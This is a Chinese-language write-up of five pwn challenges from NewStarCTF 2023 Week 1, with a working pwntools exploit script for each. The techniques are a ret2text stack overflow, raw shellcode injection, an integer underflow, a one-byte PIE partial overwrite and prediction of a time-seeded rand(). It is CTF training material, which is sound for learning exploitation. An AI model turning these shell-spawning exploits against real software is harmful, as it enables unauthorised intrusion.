NewStarCTF 2023 Week1

pwn:

ret2text：

简单的栈溢出题，没开canary和pie，有后门地址，直接溢出返回后门地址getshell

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./ret2text')
p=remote('node4.buuoj.cn',26822)
elf=ELF('./ret2text')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

sla('Show me your magic\n',b'a'*0x28+p64(0x4011fb))


p.interactive()

ezshellcode:

没开沙箱什么的，写入长度也够长，写入0x66660000，0x66660000权限全开最后会jmp到0x66660000运行，因此直接写入shellcraft.sh()即可getshell。

exp：

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./ezshellcode')
p=remote('node4.buuoj.cn',28654)
elf=ELF('./ezshellcode')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

shellcode=asm(shellcraft.sh())
sl(shellcode)

p.interactive()

newstar shop:

整数溢出，买到shell才能getshell，但要9999，我们只有100，但是是int类型，在比较时又会变成unsorted int类型，如果我们减到负数，就能够购买shell了。

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./shop')
p=remote('node4.buuoj.cn',26635)
elf=ELF('./shop')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

sl(b'1')
sl(b'1')
sl(b'1')
sl(b'2')
sl(b'3')
sl(b'1')
sl(b'3')

p.interactive()

p1eee:

有个后门函数地址，但开了pie，还有个溢出，gdb调试发现返回地址跟后门函数就相差一个字节，因此覆盖最后一个字节即可

返回地址：

后门函数地址：

但由于栈平衡问题，要0x1269。

exp：

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./p1eee')
p=remote('node4.buuoj.cn',26772)
elf=ELF('./p1eee')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

sa('pie!!!\n',b'a'*0x28+b'\x69')

p.interactive()

Random:

利用time的时间戳做随机数种子，但我们自己就能拿到这个时间戳，所以第一步的“随机”就不存在了，

而后面的一步就不是我们能操控的了，会执行一个system(command)，不过当command随机到“$“1和2时这个command就可以用我们输入的参数决定了。

exp:

from pwn import *
from ctypes import *
import time
context(log_level='debug',arch='amd64',os='linux')
p=process('./random')
p=remote('node4.buuoj.cn',28598)
dll = cdll.LoadLibrary("./libc-2.31.so")
elf=ELF('./random')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

time_seed=int(time.time())
seed = dll.srand(time_seed)
rand = str(dll.rand())
sla('number?\n',rand)

p.interactive()